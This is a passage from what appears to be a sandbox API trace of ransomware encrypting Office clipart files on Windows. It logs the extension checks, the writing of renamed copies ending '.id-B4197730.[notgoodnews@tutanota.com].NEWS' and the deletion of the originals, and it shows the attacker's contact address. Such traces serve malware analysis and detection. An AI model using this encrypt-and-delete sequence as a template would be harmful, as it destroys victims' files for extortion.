Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0092.585] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.585] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0092.585] GetLastError () returned 0x0 [0092.585] ReadFile (in: hFile=0x330, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xf39f, lpOverlapped=0x0) returned 1 [0092.588] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xf3a0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xf3a0, lpOverlapped=0x0) returned 1 [0092.590] ReadFile (in: hFile=0x330, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0092.590] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0092.590] SetEndOfFile (hFile=0x39c) returned 1 [0092.590] CloseHandle (hObject=0x39c) returned 1 [0092.590] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.590] SetEndOfFile (hFile=0x330) returned 1 [0092.591] CloseHandle (hObject=0x330) returned 1 [0092.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0092.592] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099191.jpg")) returned 1 [0092.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0092.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0092.592] lstrlenW (lpString=".doc") returned 4 [0092.592] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0092.592] lstrlenW (lpString=".docx") returned 5 [0092.592] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0092.592] lstrlenW (lpString=".pdf") returned 4 [0092.592] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0092.592] lstrlenW (lpString=".xls") returned 4 [0092.592] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0092.592] lstrlenW (lpString=".xlsx") returned 5 [0092.592] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0092.592] lstrlenW (lpString=".ppt") returned 4 [0092.592] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0092.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0092.592] lstrlenW (lpString=".zip") returned 4 [0092.592] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0092.592] lstrlenW (lpString=".rar") returned 4 [0092.592] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0092.592] lstrlenW (lpString=".bz2") returned 4 [0092.592] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0092.592] lstrlenW (lpString=".7z") returned 3 [0092.593] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0092.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0092.593] lstrlenW (lpString=".dbf") returned 4 [0092.593] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0092.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0092.593] lstrlenW (lpString=".1cd") returned 4 [0092.593] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0092.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0092.593] lstrlenW (lpString=".jpg") returned 4 [0092.593] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0092.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0092.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0092.593] lstrlenW (lpString=".doc") returned 4 [0092.593] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0092.593] lstrlenW (lpString=".docx") returned 5 [0092.593] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0092.593] lstrlenW (lpString=".pdf") returned 4 [0092.593] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0092.593] lstrlenW (lpString=".xls") returned 4 [0092.593] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0092.593] lstrlenW (lpString=".xlsx") returned 5 [0092.593] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0092.593] lstrlenW (lpString=".ppt") returned 4 [0092.593] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0092.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0092.593] lstrlenW (lpString=".zip") returned 4 [0092.593] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0092.593] lstrlenW (lpString=".rar") returned 4 [0092.593] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0092.593] lstrlenW (lpString=".bz2") returned 4 [0092.593] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0092.593] lstrlenW (lpString=".7z") returned 3 [0092.593] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0092.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0092.593] lstrlenW (lpString=".dbf") returned 4 [0092.593] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0092.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0092.594] lstrlenW (lpString=".1cd") returned 4 [0092.594] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0092.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68 [0092.594] lstrlenW (lpString=".jpg") returned 4 [0092.594] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0092.594] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0092.594] lstrlenW (lpString="J0099192.GIF") returned 12 [0092.594] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0092.594] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=17964) returned 1 [0092.594] CloseHandle (hObject=0x330) returned 1 [0092.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 0x220 [0092.594] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0092.595] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.595] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0092.595] GetLastError () returned 0x0 [0092.595] ReadFile (in: hFile=0x330, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x462c, lpOverlapped=0x0) returned 1 [0092.597] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x4630, lpOverlapped=0x0) returned 1 [0092.598] ReadFile (in: hFile=0x330, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0092.598] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0092.598] SetEndOfFile (hFile=0x39c) returned 1 [0092.598] CloseHandle (hObject=0x39c) returned 1 [0092.598] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.599] SetEndOfFile (hFile=0x330) returned 1 [0092.599] CloseHandle (hObject=0x330) returned 1 [0092.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0092.600] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 1 [0092.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0092.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0092.600] lstrlenW (lpString=".doc") returned 4 [0092.600] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0092.600] lstrlenW (lpString=".docx") returned 5 [0092.600] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0092.600] lstrlenW (lpString=".pdf") returned 4 [0092.600] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0092.600] lstrlenW (lpString=".xls") returned 4 [0092.600] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0092.600] lstrlenW (lpString=".xlsx") returned 5 [0092.600] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0092.600] lstrlenW (lpString=".ppt") returned 4 [0092.600] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0092.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0092.600] lstrlenW (lpString=".zip") returned 4 [0092.600] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0092.600] lstrlenW (lpString=".rar") returned 4 [0092.600] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0092.600] lstrlenW (lpString=".bz2") returned 4 [0092.600] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0092.600] lstrlenW (lpString=".7z") returned 3 [0092.600] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0092.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0092.600] lstrlenW (lpString=".dbf") returned 4 [0092.601] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0092.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0092.601] lstrlenW (lpString=".1cd") returned 4 [0092.601] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0092.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0092.601] lstrlenW (lpString=".jpg") returned 4 [0092.601] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0092.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0092.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0092.601] lstrlenW (lpString=".doc") returned 4 [0092.601] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0092.601] lstrlenW (lpString=".docx") returned 5 [0092.601] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0092.601] lstrlenW (lpString=".pdf") returned 4 [0092.601] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0092.601] lstrlenW (lpString=".xls") returned 4 [0092.601] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0092.601] lstrlenW (lpString=".xlsx") returned 5 [0092.601] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0092.601] lstrlenW (lpString=".ppt") returned 4 [0092.601] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0092.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0092.601] lstrlenW (lpString=".zip") returned 4 [0092.601] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0092.601] lstrlenW (lpString=".rar") returned 4 [0092.601] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0092.601] lstrlenW (lpString=".bz2") returned 4 [0092.601] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0092.601] lstrlenW (lpString=".7z") returned 3 [0092.601] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0092.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0092.601] lstrlenW (lpString=".dbf") returned 4 [0092.601] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0092.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0092.601] lstrlenW (lpString=".1cd") returned 4 [0092.601] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0092.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68 [0092.602] lstrlenW (lpString=".jpg") returned 4 [0092.602] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0092.602] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0092.602] lstrlenW (lpString="J0099193.GIF") returned 12 [0092.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0092.602] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=35546) returned 1 [0092.602] CloseHandle (hObject=0x330) returned 1 [0092.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 0x220 [0092.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0092.602] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.603] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0092.603] GetLastError () returned 0x0 [0092.603] ReadFile (in: hFile=0x330, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x8ada, lpOverlapped=0x0) returned 1 [0092.605] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x8ae0, lpOverlapped=0x0) returned 1 [0092.606] ReadFile (in: hFile=0x330, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0092.607] WriteFile (in: hFile=0x39c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1 [0092.607] SetEndOfFile (hFile=0x39c) returned 1 [0092.607] CloseHandle (hObject=0x39c) returned 1 [0092.607] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0092.607] SetEndOfFile (hFile=0x330) returned 1 [0092.608] CloseHandle (hObject=0x330) returned 1 [0092.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0092.608] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 1 [0092.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0092.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0092.608] lstrlenW (lpString=".doc") returned 4 [0092.608] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0092.608] lstrlenW (lpString=".docx") returned 5 [0092.608] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0092.608] lstrlenW (lpString=".pdf") returned 4 [0092.609] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0092.609] lstrlenW (lpString=".xls") returned 4 [0092.609] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0092.609] lstrlenW (lpString=".xlsx") returned 5 [0092.609] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0092.609] lstrlenW (lpString=".ppt") returned 4 [0092.609] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0092.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0092.609] lstrlenW (lpString=".zip") returned 4 [0092.609] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0092.609] lstrlenW (lpString=".rar") returned 4 [0092.609] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0092.609] lstrlenW (lpString=".bz2") returned 4 [0092.609] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0092.609] lstrlenW (lpString=".7z") returned 3 [0092.609] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0092.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0092.609] lstrlenW (lpString=".dbf") returned 4 [0092.609] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0092.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0092.609] lstrlenW (lpString=".1cd") returned 4 [0092.609] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0092.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0092.609] lstrlenW (lpString=".jpg") returned 4 [0092.609] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0092.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0092.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0092.609] lstrlenW (lpString=".doc") returned 4 [0092.609] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0092.609] lstrlenW (lpString=".docx") returned 5 [0092.609] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0092.609] lstrlenW (lpString=".pdf") returned 4 [0092.609] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0092.609] lstrlenW (lpString=".xls") returned 4 [0092.610] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0092.610] lstrlenW (lpString=".xlsx") returned 5 [0092.610] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0092.610] lstrlenW (lpString=".ppt") returned 4 [0092.610] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0092.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0092.610] lstrlenW (lpString=".zip") returned 4 [0092.610] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0092.610] lstrlenW (lpString=".rar") returned 4 [0092.610] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0092.610] lstrlenW (lpString=".bz2") returned 4 [0092.610] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0092.610] lstrlenW (lpString=".7z") returned 3 [0092.610] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0092.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0092.610] lstrlenW (lpString=".dbf") returned 4 [0092.610] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0092.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0092.610] lstrlenW (lpString=".1cd") returned 4 [0092.610] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0092.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0092.610] lstrlenW (lpString=".jpg") returned 4 [0092.610] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0092.610] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0092.610] lstrlenW (lpString="J0099194.GIF") returned 12 [0092.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0092.611] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=25265) returned 1 [0092.611] CloseHandle (hObject=0x330) returned 1 [0092.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 0x220 [0092.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0092.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 